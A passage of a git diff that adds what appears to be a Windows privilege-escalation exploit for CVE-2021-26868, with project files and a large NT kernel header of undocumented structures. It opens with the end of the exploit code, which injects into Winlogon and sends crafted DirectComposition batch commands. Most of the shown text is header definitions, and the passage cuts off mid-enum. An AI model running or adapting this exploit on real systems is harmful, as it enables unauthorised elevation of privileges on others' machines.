//getc(stdin); + InjectToWinlogon(); + + RestoreStatus(); + + *(DWORD*)pMappedAddress = nCmdReleaseResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)1; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = 8; + + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2); + + *(DWORD*)pMappedAddress = nCmdReleaseResource; + *(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)4; + *(DWORD*)((PUCHAR)pMappedAddress + 8) = 8; + + ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2); + + return 0; +} diff --git a/00-CVE_EXP/CVE-2021-26868/exp/exp.vcxproj b/00-CVE_EXP/CVE-2021-26868/exp/exp.vcxproj new file mode 100644 index 0000000..459b8bc --- /dev/null +++ b/00-CVE_EXP/CVE-2021-26868/exp/exp.vcxproj @@ -0,0 +1,170 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {EE84E564-89F1-4CC1-8A93-2D0D4BB529AB} + Win32Proj + exp + 10.0 + + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + false + + + Application + true + v142 + Unicode + false + + + Application + false + v142 + true + Unicode + false + + + + + + + + + + + + + + + + + + + + + true + + + true + + + false + + + false + + + + + + Level3 + Disabled + true + WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + + + + + + + Level3 + Disabled + true + _DEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreadedDebug + + + Console + true + + + + + + + Level3 + MaxSpeed + true + true + true + WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + true + + + + + + + Level3 + MaxSpeed + true + true + true + NDEBUG;_CONSOLE;%(PreprocessorDefinitions) + true + MultiThreaded + + + Console + true + true + true + + + + + + + + + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-26868/exp/exp.vcxproj.filters b/00-CVE_EXP/CVE-2021-26868/exp/exp.vcxproj.filters new file mode 100644 index 0000000..0337c4d --- /dev/null +++ b/00-CVE_EXP/CVE-2021-26868/exp/exp.vcxproj.filters @@ -0,0 +1,27 @@ + + + + + {4FC737F1-C7A5-4376-A066-2A32D752A2FF} + cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx + + + {93995380-89BD-4b04-88EB-625FBE52EBFB} + h;hh;hpp;hxx;hm;inl;inc;ipp;xsd + + + {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} + rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms + + + + + Source Files + + + + + Header Files + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-26868/exp/exp.vcxproj.user b/00-CVE_EXP/CVE-2021-26868/exp/exp.vcxproj.user new file mode 100644 index 0000000..be25078 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-26868/exp/exp.vcxproj.user @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/00-CVE_EXP/CVE-2021-26868/exp/ntos.h b/00-CVE_EXP/CVE-2021-26868/exp/ntos.h new file mode 100644 index 0000000..533da37 --- /dev/null +++ b/00-CVE_EXP/CVE-2021-26868/exp/ntos.h @@ -0,0 +1,6451 @@ +/************************************************************************************ +* +* (C) COPYRIGHT AUTHORS, 2015 - 2017, translated from Microsoft sources/debugger +* +* TITLE: NTOS.H +* +* VERSION: 1.74 +* +* DATE: 01 Dec 2017 +* +* Common header file for the ntos API functions and definitions. +* +* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF +* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED +* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A +* PARTICULAR PURPOSE. +* +************************************************************************************/ +#ifdef _In_reads_ +#undef _In_reads_ +#endif +#define _In_reads_(s) + +#ifdef _In_reads_bytes_ +#undef _In_reads_bytes_ +#endif +#define _In_reads_bytes_(s) + +#ifdef _Out_writes_opt_ +#undef _Out_writes_opt_ +#endif +#define _Out_writes_opt_(s) + +#define _Out_writes_to_opt_(s,c) +#ifdef _Out_writes_bytes_to_opt_ +#undef _Out_writes_bytes_to_opt_ +#endif +#define _Out_writes_bytes_to_opt_(s,c) + + +#pragma warning(disable: 4214) // nonstandard extension used : bit field types other than int + +#define IN_REGION(x, Base, Size) (((ULONG_PTR)x >= (ULONG_PTR)Base) && ((ULONG_PTR)x <= (ULONG_PTR)Base + (ULONG_PTR)Size)) + +#define ALIGN_DOWN(count,size) \ + ((ULONG_PTR)(count) & ~((ULONG_PTR)(size) - 1)) + +#define ALIGN_UP(count,size) \ + (ALIGN_DOWN( (ULONG_PTR)(count)+(ULONG_PTR)(size)-1, (ULONG_PTR)(size) )) + +#define ARGUMENT_PRESENT(ArgumentPointer) (\ + (CHAR *)((ULONG_PTR)(ArgumentPointer)) != (CHAR *)(NULL) ) + +//Access Rights + +#define CALLBACK_MODIFY_STATE 0x0001 +#define CALLBACK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|CALLBACK_MODIFY_STATE ) + +#define DEBUG_READ_EVENT (0x0001) +#define DEBUG_PROCESS_ASSIGN (0x0002) +#define DEBUG_SET_INFORMATION (0x0004) +#define DEBUG_QUERY_INFORMATION (0x0008) +#define DEBUG_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|DEBUG_READ_EVENT|DEBUG_PROCESS_ASSIGN|\ + DEBUG_SET_INFORMATION|DEBUG_QUERY_INFORMATION) + +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) + +#define EVENT_QUERY_STATE 0x0001 +#define EVENT_MODIFY_STATE 0x0002 +#define EVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define EVENT_PAIR_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE) + +#define IO_COMPLETION_QUERY_STATE 0x0001 +#define IO_COMPLETION_MODIFY_STATE 0x0002 +#define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define KEYEDEVENT_WAIT 0x0001 +#define KEYEDEVENT_WAKE 0x0002 +#define KEYEDEVENT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | KEYEDEVENT_WAIT | KEYEDEVENT_WAKE) + +#define MUTANT_QUERY_STATE 0x0001 +#ifndef MUTANT_ALL_ACCESS +#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|MUTANT_QUERY_STATE) +#endif // _DEBUG + + +#define PORT_CONNECT (0x0001) +#define PORT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1) + +#define PROFILE_CONTROL (0x0001) +#define PROFILE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | PROFILE_CONTROL) + +#define SEMAPHORE_QUERY_STATE 0x0001 +#define SEMAPHORE_MODIFY_STATE 0x0002 +#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define THREAD_ALERT (0x0004) + +#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 +#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 +#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 +#define THREAD_CREATE_FLAGS_HAS_SECURITY_DESCRIPTOR 0x00000010 +#define THREAD_CREATE_FLAGS_ACCESS_CHECK_IN_TARGET 0x00000020 +#define THREAD_CREATE_FLAGS_INITIAL_THREAD 0x00000080 + +#define WORKER_FACTORY_RELEASE_WORKER 0x0001 +#define WORKER_FACTORY_WAIT 0x0002 +#define WORKER_FACTORY_SET_INFORMATION 0x0004 +#define WORKER_FACTORY_QUERY_INFORMATION 0x0008 +#define WORKER_FACTORY_READY_WORKER 0x0010 +#define WORKER_FACTORY_SHUTDOWN 0x0020 + +#define OBJECT_TYPE_CREATE (0x0001) +#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define WMIGUID_QUERY 0x0001 +#define WMIGUID_SET 0x0002 +#define WMIGUID_NOTIFICATION 0x0004 +#define WMIGUID_READ_DESCRIPTION 0x0008 +#define WMIGUID_EXECUTE 0x0010 +#define TRACELOG_CREATE_REALTIME 0x0020 +#define TRACELOG_CREATE_ONDISK 0x0040 +#define TRACELOG_GUID_ENABLE 0x0080 +#define TRACELOG_ACCESS_KERNEL_LOGGER 0x0100 +#define TRACELOG_CREATE_INPROC 0x0200 +#define TRACELOG_ACCESS_REALTIME 0x0400 +#define TRACELOG_REGISTER_GUIDS 0x0800 + +// +// Partition Specific Access Rights. +// + +#define MEMORY_PARTITION_QUERY_ACCESS 0x0001 +#define MEMORY_PARTITION_MODIFY_ACCESS 0x0002 + +#define MEMORY_PARTITION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | \ + SYNCHRONIZE | \ + MEMORY_PARTITION_QUERY_ACCESS | \ + MEMORY_PARTITION_MODIFY_ACCESS) + + +// +// NtCreateProcessEx specific flags. +// +#define PS_REQUEST_BREAKAWAY 1 +#define PS_NO_DEBUG_INHERIT 2 +#define PS_INHERIT_HANDLES 4 +#define PS_LARGE_PAGES 8 +#define PS_ALL_FLAGS (PS_REQUEST_BREAKAWAY | \ + PS_NO_DEBUG_INHERIT | \ + PS_INHERIT_HANDLES | \ + PS_LARGE_PAGES) + +#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 ) +#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) +#define ZwCurrentProcess() NtCurrentProcess() +#define ZwCurrentThread() NtCurrentThread() + +// +// Define special ByteOffset parameters for read and write operations +// + +#define FILE_WRITE_TO_END_OF_FILE 0xffffffff +#define FILE_USE_FILE_POINTER_POSITION 0xfffffffe + +// +// This is the maximum MaximumLength for a UNICODE_STRING. +// + +#define MAXUSHORT 0xffff +#define MAX_USTRING ( sizeof(WCHAR) * (MAXUSHORT/sizeof(WCHAR)) ) + +typedef struct _EX_RUNDOWN_REF +{ + union + { + ULONG Count; + PVOID Ptr; + }; +} EX_RUNDOWN_REF, *PEX_RUNDOWN_REF; + +typedef struct _UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} UNICODE_STRING; +typedef UNICODE_STRING *PUNICODE_STRING; +typedef const UNICODE_STRING *PCUNICODE_STRING; + +typedef struct _STRING +{ + USHORT Length; + USHORT MaximumLength; + PCHAR Buffer; +} STRING; +typedef STRING *PSTRING; + +typedef STRING ANSI_STRING; +typedef PSTRING PANSI_STRING; + +typedef STRING OEM_STRING; +typedef PSTRING POEM_STRING; +typedef CONST STRING* PCOEM_STRING; +typedef CONST char *PCSZ; + +typedef struct _CSTRING +{ + USHORT Length; + USHORT MaximumLength; + CONST char *Buffer; +} CSTRING; +typedef CSTRING *PCSTRING; +#define ANSI_NULL ((CHAR)0) + +typedef STRING CANSI_STRING; +typedef PSTRING PCANSI_STRING; + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES; +typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES; + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + } DUMMYUNIONNAME; + + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +/* +** Semaphore START +*/ + +#ifndef _SEMAPHORE_INFORMATION_CLASS +typedef enum _SEMAPHORE_INFORMATION_CLASS { + SemaphoreBasicInformation +} SEMAPHORE_INFORMATION_CLASS; +#endif + +#ifndef _SEMAPHORE_BASIC_INFORMATION +typedef struct _SEMAPHORE_BASIC_INFORMATION { + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION; +#endif + +/* +** Semaphore END +*/ + +/* +** Kernel Debugger START +*/ + +typedef struct _SYSTEM_KERNEL_DEBUGGER_INFORMATION { + BOOLEAN KernelDebuggerEnabled; + BOOLEAN KernelDebuggerNotPresent; +} SYSTEM_KERNEL_DEBUGGER_INFORMATION, *PSYSTEM_KERNEL_DEBUGGER_INFORMATION; + +/* +** Kernel Debugger END +*/ + +/* +** FileCache and MemoryList START +*/ + +typedef enum _SYSTEM_MEMORY_LIST_COMMAND { + MemoryCaptureAccessedBits, + MemoryCaptureAndResetAccessedBits, + MemoryEmptyWorkingSets, + MemoryFlushModifiedList, + MemoryPurgeStandbyList, + MemoryPurgeLowPriorityStandbyList, + MemoryCommandMax +} SYSTEM_MEMORY_LIST_COMMAND; + +typedef struct _SYSTEM_FILECACHE_INFORMATION { + SIZE_T CurrentSize; + SIZE_T PeakSize; + ULONG PageFaultCount; + SIZE_T MinimumWorkingSet; + SIZE_T MaximumWorkingSet; + SIZE_T CurrentSizeIncludingTransitionInPages; + SIZE_T PeakSizeIncludingTransitionInPages; + ULONG TransitionRePurposeCount; + ULONG Flags; +} SYSTEM_FILECACHE_INFORMATION, *PSYSTEM_FILECACHE_INFORMATION; + +/* +** FileCache and MemoryList END +*/ + +/* +** Processes START +*/ + +typedef struct _SYSTEM_TIMEOFDAY_INFORMATION { + LARGE_INTEGER BootTime; + LARGE_INTEGER CurrentTime; + LARGE_INTEGER TimeZoneBias; + ULONG TimeZoneId; + ULONG Reserved; + ULONGLONG BootTimeBias; + ULONGLONG SleepTimeBias; +} SYSTEM_TIMEOFDAY_INFORMATION, *PSYSTEM_TIMEOFDAY_INFORMATION; + +#ifndef KPRIORITY +typedef LONG KPRIORITY; +#endif + +typedef enum _THREAD_STATE { + StateInitialized, + StateReady, + StateRunning, + StateStandby, + StateTerminated, + StateWait, + StateTransition, + StateUnknown +} THREAD_STATE; + +typedef enum _KWAIT_REASON { + Executive, + FreePage, + PageIn, + PoolAllocation, + DelayExecution, + Suspended, + UserRequest, + WrExecutive, + WrFreePage, + WrPageIn, + WrPoolAllocation, + WrDelayExecution, + WrSuspended, + WrUserRequest, + WrEventPair, + WrQueue, + WrLpcReceive, + WrLpcReply, + WrVirtualMemory, + WrPageOut, + WrRendezvous, + WrKeyedEvent, + WrTerminated, + WrProcessInSwap, + WrCpuRateControl, + WrCalloutStack, + WrKernel, + WrResource, + WrPushLock, + WrMutex, + WrQuantumEnd, + WrDispatchInt, + WrPreempted, + WrYieldExecution, + WrFastMutex, + WrGuardedMutex, + WrRundown, + MaximumWaitReason +} KWAIT_REASON; + +typedef VOID KSTART_ROUTINE( + _In_ PVOID StartContext + ); +typedef KSTART_ROUTINE *PKSTART_ROUTINE; + +typedef struct _CLIENT_ID { + HANDLE UniqueProcess; + HANDLE UniqueThread; +} CLIENT_ID, *PCLIENT_ID; + +typedef struct _CLIENT_ID64 { + ULONG64 UniqueProcess; + ULONG64 UniqueThread; +} CLIENT_ID64, *PCLIENT_ID64; + +typedef struct _CLIENT_ID32 { + ULONG32 UniqueProcess; + ULONG32 UniqueThread; +} CLIENT_ID32, *PCLIENT_ID32; + +typedef struct _VM_COUNTERS { + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; +} VM_COUNTERS; + +typedef struct _SYSTEM_THREAD_INFORMATION { + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER CreateTime; + ULONG WaitTime; + PVOID StartAddress; + CLIENT_ID ClientId; + KPRIORITY Priority; + KPRIORITY BasePriority; + ULONG ContextSwitchCount; + THREAD_STATE State; + KWAIT_REASON WaitReason; +} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION; + +typedef struct _SYSTEM_PROCESSES_INFORMATION { + ULONG NextEntryDelta; + ULONG ThreadCount; + LARGE_INTEGER SpareLi1; + LARGE_INTEGER SpareLi2; + LARGE_INTEGER SpareLi3; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + KPRIORITY BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR PageDirectoryBase; + VM_COUNTERS VmCounters; + IO_COUNTERS IoCounters; + SYSTEM_THREAD_INFORMATION Threads[1]; +} SYSTEM_PROCESSES_INFORMATION, *PSYSTEM_PROCESSES_INFORMATION; + +#if defined(_WIN64) +typedef ULONG SYSINF_PAGE_COUNT; +#else +typedef SIZE_T SYSINF_PAGE_COUNT; +#endif + +typedef struct _SYSTEM_BASIC_INFORMATION { + ULONG Reserved; + ULONG TimerResolution; + ULONG PageSize; + SYSINF_PAGE_COUNT NumberOfPhysicalPages; + SYSINF_PAGE_COUNT LowestPhysicalPageNumber; + SYSINF_PAGE_COUNT HighestPhysicalPageNumber; + ULONG AllocationGranularity; + ULONG_PTR MinimumUserModeAddress; + ULONG_PTR MaximumUserModeAddress; + ULONG_PTR ActiveProcessorsAffinityMask; + CCHAR NumberOfProcessors; +} SYSTEM_BASIC_INFORMATION, *PSYSTEM_BASIC_INFORMATION; + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation = 0, + ProcessQuotaLimits = 1, + ProcessIoCounters = 2, + ProcessVmCounters = 3, + ProcessTimes = 4, + ProcessBasePriority = 5, + ProcessRaisePriority = 6, + ProcessDebugPort = 7, + ProcessExceptionPort = 8, + ProcessAccessToken = 9, + ProcessLdtInformation = 10, + ProcessLdtSize = 11, + ProcessDefaultHardErrorMode = 12, + ProcessIoPortHandlers = 13, + ProcessPooledUsageAndLimits = 14, + ProcessWorkingSetWatch = 15, + ProcessUserModeIOPL = 16, + ProcessEnableAlignmentFaultFixup = 17, + ProcessPriorityClass = 18, + ProcessWx86Information = 19, + ProcessHandleCount = 20, + ProcessAffinityMask = 21, + ProcessPriorityBoost = 22, + ProcessDeviceMap = 23, + ProcessSessionInformation = 24, + ProcessForegroundInformation = 25, + ProcessWow64Information = 26, + ProcessImageFileName = 27, + ProcessLUIDDeviceMapsEnabled = 28, + ProcessBreakOnTermination = 29, + ProcessDebugObjectHandle = 30, + ProcessDebugFlags = 31, + ProcessHandleTracing = 32, + ProcessIoPriority = 33, + ProcessExecuteFlags = 34, + ProcessTlsInformation = 35, + ProcessCookie = 36, + ProcessImageInformation = 37, + ProcessCycleTime = 38, + ProcessPagePriority = 39, + ProcessInstrumentationCallback = 40, + ProcessThreadStackAllocation = 41, + ProcessWorkingSetWatchEx = 42, + ProcessImageFileNameWin32 = 43, + ProcessImageFileMapping = 44, + ProcessAffinityUpdateMode = 45, + ProcessMemoryAllocationMode = 46, + ProcessGroupInformation = 47, + ProcessTokenVirtualizationEnabled = 48, + ProcessOwnerInformation = 49, + ProcessWindowInformation = 50, + ProcessHandleInformation = 51, + ProcessMitigationPolicy = 52, + ProcessDynamicFunctionTableInformation = 53, + ProcessHandleCheckingMode = 54, + ProcessKeepAliveCount = 55, + ProcessRevokeFileHandles = 56, + ProcessWorkingSetControl = 57, + ProcessHandleTable = 58, + ProcessCheckStackExtentsMode = 59, + ProcessCommandLineInformation = 60, + ProcessProtectionInformation = 61, + MaxProcessInfoClass = 62 +} PROCESSINFOCLASS; + +typedef enum _THREADINFOCLASS { + ThreadBasicInformation, + ThreadTimes, + ThreadPriority, + ThreadBasePriority, + ThreadAffinityMask, + ThreadImpersonationToken, + ThreadDescriptorTableEntry, + ThreadEnableAlignmentFaultFixup, + ThreadEventPair, + ThreadQuerySetWin32StartAddress, + ThreadZeroTlsCell, + ThreadPerformanceCount, + ThreadAmILastThread, + ThreadIdealProcessor, + ThreadPriorityBoost, + ThreadSetTlsArrayAddress, + ThreadIsIoPending, + ThreadHideFromDebugger, + ThreadBreakOnTermination, + ThreadSwitchLegacyState, + ThreadIsTerminated, + ThreadLastSystemCall, + ThreadIoPriority, + ThreadCycleTime, + ThreadPagePriority, + ThreadActualBasePriority, + ThreadTebInformation, + ThreadCSwitchMon, + ThreadCSwitchPmu, + ThreadWow64Context, + ThreadGroupInformation, + ThreadUmsInformation, + ThreadCounterProfiling, + ThreadIdealProcessorEx, + ThreadCpuAccountingInformation, + ThreadSuspendCount, + ThreadHeterogeneousCpuPolicy, + ThreadContainerId, + ThreadNameInformation, + ThreadProperty, + ThreadSelectedCpuSets, + ThreadSystemThreadInformation, + MaxThreadInfoClass +} THREADINFOCLASS; + +typedef struct _PROCESS_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PVOID PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +} PROCESS_BASIC_INFORMATION; +typedef PROCESS_BASIC_INFORMATION *PPROCESS_BASIC_INFORMATION; + +typedef struct _PROCESS_EXTENDED_BASIC_INFORMATION { + SIZE_T Size; + PROCESS_BASIC_INFORMATION BasicInfo; + union + { + ULONG Flags; + struct + { + ULONG IsProtectedProcess : 1; + ULONG IsWow64Process : 1; + ULONG IsProcessDeleting : 1; + ULONG IsCrossSessionCreate : 1; + ULONG IsFrozen : 1; + ULONG IsBackground : 1; + ULONG IsStronglyNamed : 1; + ULONG SpareBits : 25; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; +} PROCESS_EXTENDED_BASIC_INFORMATION, *PPROCESS_EXTENDED_BASIC_INFORMATION; + +typedef struct _PROCESS_ACCESS_TOKEN { + HANDLE Token; + HANDLE Thread; +} PROCESS_ACCESS_TOKEN, *PPROCESS_ACCESS_TOKEN; + +//thanks to wj32 headers + +typedef enum _PS_CREATE_STATE { + PsCreateInitialState, + PsCreateFailOnFileOpen, + PsCreateFailOnSectionCreate, + PsCreateFailExeFormat, + PsCreateFailMachineMismatch, + PsCreateFailExeName, + PsCreateSuccess, + PsCreateMaximumStates +} PS_CREATE_STATE; + +typedef struct _PS_CREATE_INFO { + SIZE_T Size; + PS_CREATE_STATE State; + union + { + struct + { + union + { + ULONG InitFlags; + struct + { + UCHAR WriteOutputOnExit : 1; + UCHAR DetectManifest : 1; + UCHAR IFEOSkipDebugger : 1; + UCHAR IFEODoNotPropagateKeyState : 1; + UCHAR SpareBits1 : 4; + UCHAR SpareBits2 : 8; + USHORT ProhibitedImageCharacteristics : 16; + }; + }; + ACCESS_MASK AdditionalFileAccess; + } InitState; + + struct + { + HANDLE FileHandle; + } FailSection; + + struct + { + USHORT DllCharacteristics; + } ExeFormat; + + struct + { + HANDLE IFEOKey; + } ExeName; + + struct + { + union + { + ULONG OutputFlags; + struct + { + UCHAR ProtectedProcess : 1; + UCHAR AddressSpaceOverride : 1; + UCHAR DevOverrideEnabled : 1; + UCHAR ManifestDetected : 1; + UCHAR ProtectedProcessLight : 1; + UCHAR SpareBits1 : 3; + UCHAR SpareBits2 : 8; + USHORT SpareBits3 : 16; + }; + }; + HANDLE FileHandle; + HANDLE SectionHandle; + ULONGLONG UserProcessParametersNative; + ULONG UserProcessParametersWow64; + ULONG CurrentParameterFlags; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + ULONGLONG ManifestAddress; + ULONG ManifestSize; + } SuccessState; + }; +} PS_CREATE_INFO, *PPS_CREATE_INFO; + +typedef struct _PS_ATTRIBUTE +{ + ULONG Attribute; + SIZE_T Size; + union + { + ULONG Value; + PVOID ValuePtr; + }; + PSIZE_T ReturnLength; +} PS_ATTRIBUTE, *PPS_ATTRIBUTE; + +typedef struct _PS_ATTRIBUTE_LIST +{ + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; +} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; + +typedef enum _PS_PROTECTED_TYPE +{ + PsProtectedTypeNone, + PsProtectedTypeProtectedLight, + PsProtectedTypeProtected, + PsProtectedTypeMax +} PS_PROTECTED_TYPE; + +typedef enum _PS_PROTECTED_SIGNER +{ + PsProtectedSignerNone, + PsProtectedSignerAuthenticode, + PsProtectedSignerCodeGen, + PsProtectedSignerAntimalware, + PsProtectedSignerLsa, + PsProtectedSignerWindows, + PsProtectedSignerWinTcb, + PsProtectedSignerMax +} PS_PROTECTED_SIGNER; + +typedef struct _PS_PROTECTION +{ + union + { + UCHAR Level; + struct + { + UCHAR Type : 3; + UCHAR Audit : 1; + UCHAR Signer : 4; + }; + }; +} PS_PROTECTION, *PPS_PROTECTION; + +// begin_rev +#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff +#define PS_ATTRIBUTE_THREAD 0x00010000 +#define PS_ATTRIBUTE_INPUT 0x00020000 +#define PS_ATTRIBUTE_ADDITIVE 0x00040000 +// end_rev + +typedef enum _PS_ATTRIBUTE_NUM { + PsAttributeParentProcess, + PsAttributeDebugPort, + PsAttributeToken, + PsAttributeClientId, + PsAttributeTebAddress, + PsAttributeImageName, + PsAttributeImageInfo, + PsAttributeMemoryReserve, + PsAttributePriorityClass, + PsAttributeErrorMode, + PsAttributeStdHandleInfo, + PsAttributeHandleList, + PsAttributeGroupAffinity, + PsAttributePreferredNode, + PsAttributeIdealProcessor, + PsAttributeUmsThread, + PsAttributeMitigationOptions, + PsAttributeProtectionLevel, + PsAttributeSecureProcess, + PsAttributeJobList, + PsAttributeMax +} PS_ATTRIBUTE_NUM; + +#define PsAttributeValue(Number, Thread, Input, Unknown) \ + (((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \ + ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \ + ((Input) ? PS_ATTRIBUTE_INPUT : 0) | \ + ((Unknown) ? PS_ATTRIBUTE_ADDITIVE : 0)) + +#define PS_ATTRIBUTE_PARENT_PROCESS \ + PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_DEBUG_PORT \ + PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_TOKEN \ + PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE) +#define PS_ATTRIBUTE_CLIENT_ID \ + PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_TEB_ADDRESS \ + PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE) +#define PS_ATTRIBUTE_IMAGE_NAME \ + PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IMAGE_INFO \ + PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE) +#define PS_ATTRIBUTE_MEMORY_RESERVE \ + PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_PRIORITY_CLASS \ + PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_ERROR_MODE \ + PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_STD_HANDLE_INFO \ + PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_HANDLE_LIST \ + PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_GROUP_AFFINITY \ + PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_PREFERRED_NODE \ + PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE) +#define PS_ATTRIBUTE_IDEAL_PROCESSOR \ + PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE) +#define PS_ATTRIBUTE_MITIGATION_OPTIONS \ + PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, TRUE) + + +#define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 +#define RTL_USER_PROC_PROFILE_USER 0x00000002 +#define RTL_USER_PROC_PROFILE_KERNEL 0x00000004 +#define RTL_USER_PROC_PROFILE_SERVER 0x00000008 +#define RTL_USER_PROC_RESERVE_1MB 0x00000020 +#define RTL_USER_PROC_RESERVE_16MB 0x00000040 +#define RTL_USER_PROC_CASE_SENSITIVE 0x00000080 +#define RTL_USER_PROC_DISABLE_HEAP_DECOMMIT 0x00000100 +#define RTL_USER_PROC_DLL_REDIRECTION_LOCAL 0x00001000 +#define RTL_USER_PROC_APP_MANIFEST_PRESENT 0x00002000 +#define RTL_USER_PROC_IMAGE_KEY_MISSING 0x00004000 +#define RTL_USER_PROC_OPTIN_PROCESS 0x00020000 + +/* +** Processes END +*/ + +#ifndef _SYSTEM_INFORMATION_CLASS +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation = 0, + SystemProcessorInformation 